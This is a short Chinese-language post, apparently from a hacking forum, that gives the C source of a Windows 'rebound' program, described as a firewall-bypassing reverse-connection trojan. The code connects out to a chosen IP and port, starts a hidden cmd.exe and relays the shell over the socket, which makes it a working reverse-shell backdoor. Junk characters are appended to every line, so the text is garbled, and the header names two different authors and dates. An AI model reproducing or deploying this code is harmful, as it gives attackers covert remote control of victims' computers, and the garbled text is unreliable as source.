这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?vf{v
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/* ============================== 9L:v$4{LU
Rebound port in Windows NT TdD-#|5
By wind,2006/7 >!? f6
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===============================*/ BY,%+>bc)
#include WF-imI:EK
#include 9FV#@uA}D
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#pragma comment(lib,"wsock32.lib") .:RoD?px
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void OutputShell(); ;5y4v
SOCKET sClient; $BH0W{S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mq'q@@:c
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void main(int argc,char **argv) (a7IxW
{ Q1eiU Y6
WSADATA stWsaData; !h9 An
int nRet; ^@X
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SOCKADDR_IN stSaiClient,stSaiServer; {!oO>t
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if(argc != 3) +~FH'DsT
{ 7Oxvq^[
printf("Useage:\n\rRebound DestIP DestPort\n"); oF,8j1
return;
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} 5Y9 j/wA
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WSAStartup(MAKEWORD(2,2),&stWsaData); RFA5vCG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :^iR&`2~
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stSaiClient.sin_family = AF_INET; {8I93]
stSaiClient.sin_port = htons(0); 3wR5:O$H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i@B5B2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pm )A*][s
{ ;y k@`<
printf("Bind Socket Failed!\n"); RNvtgZ}k{X
return; 7CG_UB
} 2! wz#EC
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stSaiServer.sin_family = AF_INET; @RaMO#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o_G.J4 V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MF E%q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PwDQ<
{ @$(4;ar
printf("Connect Error!"); U_I'Nz!^t
return; ^jCkM29eu
} OB$A"XGAEV
OutputShell(); _r,# l5~U
} W
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void OutputShell() vB.LbYyF
{ `pcjOM8u
char szBuff[1024]; u8[X\f
SECURITY_ATTRIBUTES stSecurityAttributes; LQ{4r1,u]
OSVERSIONINFO stOsversionInfo; sHEISNj/^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TS1k'<c?
STARTUPINFO stStartupInfo; @ObsW!g
char *szShell; CF>NyY:_
PROCESS_INFORMATION stProcessInformation; Tp0Tce/
unsigned long lBytesRead; #4"\\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OK2wxf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }QC:!e,yG
stSecurityAttributes.lpSecurityDescriptor = 0; &_-~kU1K^
stSecurityAttributes.bInheritHandle = TRUE; 7qh_URt@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ("9)=x *5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XE>XzsnC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fCF9 3,?$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mv;7kC7]
stStartupInfo.wShowWindow = SW_HIDE; I/'jRM
stStartupInfo.hStdInput = hReadPipe; r\em-%:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cjwg1?^RZ
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GetVersionEx(&stOsversionInfo); z1YC%Y|R
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switch(stOsversionInfo.dwPlatformId) \9 ^wM>U
{ 7,
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case 1: <K2 )v~
szShell = "command.com"; jI y'mGaG
break; y|1-,u.$
default: (s\Nm_j
szShell = "cmd.exe"; L%=u&9DmU
break; Qy9#(596
} q`qbaX\J3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L]9*^al
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send(sClient,szMsg,77,0); %)]{*#N4
while(1) =o9
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{ *78TT\q<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )2:d8J\
if(lBytesRead) sdrE4-zd
{ ,.DU)Wi?}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j1>1vD-`T
send(sClient,szBuff,lBytesRead,0); r1t TY?
} ga!t:O@w
else :5p`H
{ P PmE.%_
lBytesRead=recv(sClient,szBuff,1024,0); >a]{q^0
if(lBytesRead<=0) break; 7eZ,;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gX]?`u
} lKwI lp
} .hn"NXy
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return; i?||R|>;"'
}